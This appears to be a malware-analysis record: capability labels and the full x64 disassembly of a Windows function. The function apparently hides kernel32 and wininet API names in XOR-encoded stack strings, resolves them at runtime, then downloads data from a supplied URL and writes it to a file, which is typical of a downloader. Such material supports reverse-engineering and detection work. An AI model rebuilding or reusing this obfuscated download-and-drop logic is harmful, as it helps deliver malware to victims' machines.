Function at 0x140001b30
Capabilities:
Contain obfuscated stackstrings
Download and write a file
Encode data using xor
Link many functions at runtime
Read data from internet
Receive and write data from server to client
Receive data
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
movaps xmmword [rsp + 0x5b0], xmm6
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov rdi, rdx
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.140001710
mov rbx, rax
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.14000b1e0
xor ecx, ecx
cmp qword [rbx + 0x10], rcx
jbe 0x140001bbd
nop
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001b9d
mov rax, qword [rbx]
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rdx, qword [rbp + 0x18]
movzx eax, byte [rax + rcx]
xor al, 0x78
mov byte [rdx + rcx], al
inc rcx
cmp rcx, qword [rbx + 0x10]
jb 0x140001b90
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001bfd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqa xmm6, xmmword [0x14000fc70]
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140001710
mov rbx, rax
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.14000b1e0
xor edx, edx
cmp qword [rbx + 0x10], rdx
jbe 0x140001c60
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001c40
mov rax, qword [rbx]
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
movzx eax, byte [rax + rdx]
xor al, 0x78
mov byte [rcx + rdx], al
inc rdx
cmp rdx, qword [rbx + 0x10]
jb 0x140001c33
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001ca6
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqa xmm6, xmmword [0x14000fc70]
movdqu xmmword [rbp - 0x28], xmm6
mov byte [rbp - 0x38], 0
mov word [rbp + 0x78], 0x390b
mov byte [rbp + 0x7a], 0
mov byte [rbp + 0x53], 0
mov dword [rbp + 0x38], 0x1d0c1631
mov dword [rbp + 0x3c], 0xc1d160a
mov dword [rbp + 0x40], 0x161d0837
mov word [rbp + 0x44], 0x39
movdqa xmm1, xmmword [0x14000fde0]
mov byte [rbp + 0x90], 0
mov byte [rbp + 0x63], 0
movdqa xmm0, xmmword [0x14000fe70]
xorps xmm0, xmmword [0x14000fd70]
movdqu xmmword [rbp + 0x68], xmm0
mov eax, 0x10
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rax + 0x68], 0x78
inc rax
cmp rax, 0x12
jb 0x140001d10
mov dword [rbp + 0x48], 0x656c6544
mov dword [rbp + 0x4c], 0x69466574
mov word [rbp + 0x50], 0x656c
mov byte [rbp + 0x52], 0x41
xor eax, eax
nop dword [rax + rax]
xor byte [rbp + rax + 0x38], 0x78
inc rax
cmp rax, 0xd
jb 0x140001d40
xorps xmm1, xmmword [0x14000fe70]
movdqu xmmword [rbp + 0x80], xmm1
mov dword [rbp + 0x58], 0x61657243
mov dword [rbp + 0x5c], 0x69466574
mov word [rbp + 0x60], 0x656c
mov byte [rbp + 0x62], 0x41
mov byte [rbp - 0x78], 0x4c
mov al, 0x27
mov cl, 0x29
mov dl, 0x3e
mov r8b, 0x22
movzx r9d, cl
mov r10b, 0x20
mov r11b, 0x7f
mov bl, 0x7e
mov dil, 0x62
mov sil, 0x28
movzx r14d, r10b
movzx r15d, r10b
xor r12d, r12d
xor al, 0x4c
mov byte [rbp - 0x77], al
xor cl, 0x4c
mov byte [rbp - 0x76], cl
xor dl, 0x4c
mov byte [rbp - 0x75], dl
xor r8b, 0x4c
mov byte [rbp - 0x74], r8b
xor r9b, 0x4c
mov byte [rbp - 0x73], r9b
xor r10b, 0x4c
mov byte [rbp - 0x72], r10b
xor r11b, 0x4c
mov byte [rbp - 0x71], r11b
xor bl, 0x4c
mov byte [rbp - 0x70], bl
xor dil, 0x4c
mov byte [rbp - 0x6f], dil
xor sil, 0x4c
mov byte [rbp - 0x6e], sil
xor r14b, 0x4c
mov byte [rbp - 0x6d], r14b
xor r15b, 0x4c
mov byte [rbp - 0x6c], r15b
mov byte [rbp - 0x6b], r12b
lea rcx, [rbp - 0x77]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp - 0x68], 2
mov cl, 0x69
mov dl, 0x67
mov r8b, 0x70
mov r9b, 0x6c
movzx r10d, dl
mov r11b, 0x6e
mov bl, 0x31
mov dil, 0x30
mov sil, 0x2c
mov r14b, 0x66
movzx r15d, r11b
movzx r12d, r11b
xor eax, eax
xor cl, 2
mov byte [rbp - 0x67], cl
xor dl, 2
mov byte [rbp - 0x66], dl
xor r8b, 2
mov byte [rbp - 0x65], r8b
xor r9b, 2
mov byte [rbp - 0x64], r9b
xor r10b, 2
mov byte [rbp - 0x63], r10b
xor r11b, 2
mov byte [rbp - 0x62], r11b
xor bl, 2
mov byte [rbp - 0x61], bl
xor dil, 2
mov byte [rbp - 0x60], dil
xor sil, 2
mov byte [rbp - 0x5f], sil
xor r14b, 2
mov byte [rbp - 0x5e], r14b
xor r15b, 2
mov byte [rbp - 0x5d], r15b
xor r12b, 2
mov byte [rbp - 0x5c], r12b
mov byte [rbp - 0x5b], al
lea rcx, [rbp - 0x67]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x10], rax
mov byte [rsp + 0x68], 0x2d
mov cl, 0x5a
mov dl, 0x44
mov r8b, 0x43
movzx r9d, dl
movzx r10d, r8b
mov r11b, 0x48
mov bl, 0x59
mov dil, 3
mov sil, 0x49
mov r14b, 0x41
movzx r15d, r14b
xor eax, eax
xor cl, 0x2d
mov byte [rsp + 0x69], cl
xor dl, 0x2d
mov byte [rsp + 0x6a], dl
xor r8b, 0x2d
mov byte [rsp + 0x6b], r8b
xor r9b, 0x2d
mov byte [rsp + 0x6c], r9b
xor r10b, 0x2d
mov byte [rsp + 0x6d], r10b
xor r11b, 0x2d
mov byte [rsp + 0x6e], r11b
xor bl, 0x2d
mov byte [rsp + 0x6f], bl
xor dil, 0x2d
mov byte [rsp + 0x70], dil
xor sil, 0x2d
mov byte [rsp + 0x71], sil
xor r14b, 0x2d
mov byte [rsp + 0x72], r14b
xor r15b, 0x2d
mov byte [rsp + 0x73], r15b
mov byte [rsp + 0x74], al
lea rcx, [rsp + 0x69]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov byte [rsp + 0x78], 0x5b
mov cl, 0x2c
mov dl, 0x32
mov r8b, 0x35
movzx r9d, dl
movzx r10d, r8b
mov r11b, 0x3e
mov bl, 0x2f
mov dil, 0x75
mov sil, 0x3f
mov r14b, 0x37
movzx r15d, r14b
xor eax, eax
xor cl, 0x5b
mov byte [rsp + 0x79], cl
xor dl, 0x5b
mov byte [rsp + 0x7a], dl
xor r8b, 0x5b
mov byte [rsp + 0x7b], r8b
xor r9b, 0x5b
mov byte [rsp + 0x7c], r9b
xor r10b, 0x5b
mov byte [rsp + 0x7d], r10b
xor r11b, 0x5b
mov byte [rsp + 0x7e], r11b
xor bl, 0x5b
mov byte [rsp + 0x7f], bl
xor dil, 0x5b
mov byte [rbp - 0x80], dil
xor sil, 0x5b
mov byte [rbp - 0x7f], sil
xor r14b, 0x5b
mov byte [rbp - 0x7e], r14b
xor r15b, 0x5b
mov byte [rbp - 0x7d], r15b
mov byte [rbp - 0x7c], al
lea rcx, [rsp + 0x79]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x40], rax
mov byte [rbp - 0x58], 0x46
mov cl, 0x2d
mov dl, 0x23
mov r8b, 0x34
mov r9b, 0x28
movzx r10d, dl
mov r11b, 0x2a
mov bl, 0x75
mov dil, 0x74
mov sil, 0x68
mov r14b, 0x22
movzx r15d, r11b
movzx r12d, r11b
xor eax, eax
xor cl, 0x46
mov byte [rbp - 0x57], cl
xor dl, 0x46
mov byte [rbp - 0x56], dl
xor r8b, 0x46
mov byte [rbp - 0x55], r8b
xor r9b, 0x46
mov byte [rbp - 0x54], r9b
xor r10b, 0x46
mov byte [rbp - 0x53], r10b
xor r11b, 0x46
mov byte [rbp - 0x52], r11b
xor bl, 0x46
mov byte [rbp - 0x51], bl
xor dil, 0x46
mov byte [rbp - 0x50], dil
xor sil, 0x46
mov byte [rbp - 0x4f], sil
xor r14b, 0x46
mov byte [rbp - 0x4e], r14b
xor r15b, 0x46
mov byte [rbp - 0x4d], r15b
xor r12b, 0x46
mov byte [rbp - 0x4c], r12b
mov byte [rbp - 0x4b], al
lea rcx, [rbp - 0x57]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
call r13
cmp eax, 0xffffffff
je 0x1400020d3
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
call qword [rbp + 0x10]
test eax, eax
jne 0x1400020d3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movdqa xmm1, xmmword [0x14000fd20]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x14000fd50]
movdqu xmmword [rsp + 0x50], xmm2
mov dl, 0x1b
movzx r8d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor dl, cl
mov byte [rsp + 0x60], dl
xor r8b, cl
mov byte [rsp + 0x61], r8b
mov byte [rsp + 0x62], 0
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x41]
mov rbx, qword [rbp - 0x48]
call rbx
mov r14, rax
test rax, rax
je 0x140002264
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rdx, qword [rbp + 0x18]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov r15, qword [rbp - 0x40]
call r15
mov rdi, rax
test rax, rax
je 0x14000224f
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call rsi
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400022f1
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call r15
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbx
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14000229f
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000229a
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002395
call fcn.14000ce50
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400022ea
mov rcx, qword [rbp + 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022e5
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400023e3
call fcn.14000ce50
xor al, al
jmp 0x1400023f2
mov dword [rbp + 8], r12d
lea r9, [rbp + 8]
mov r8d, 0x400
lea rdx, [rbp + 0xa0]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
test eax, eax
je 0x140002343
mov ecx, dword [rbp + 8]
test ecx, ecx
je 0x140002343
mov dword [rbp + 0x10], r12d
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x10]
mov r8d, ecx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rbp + 8]
test ecx, ecx
jne 0x1400022f5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
setne bl
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x1400023a1
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000239c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000239c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400023ef
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movzx eax, bl
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.14000ce30
mov rbx, qword [rsp + 0x610]
movaps xmm6, xmmword [rsp + 0x5b0]
add rsp, 0x5c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret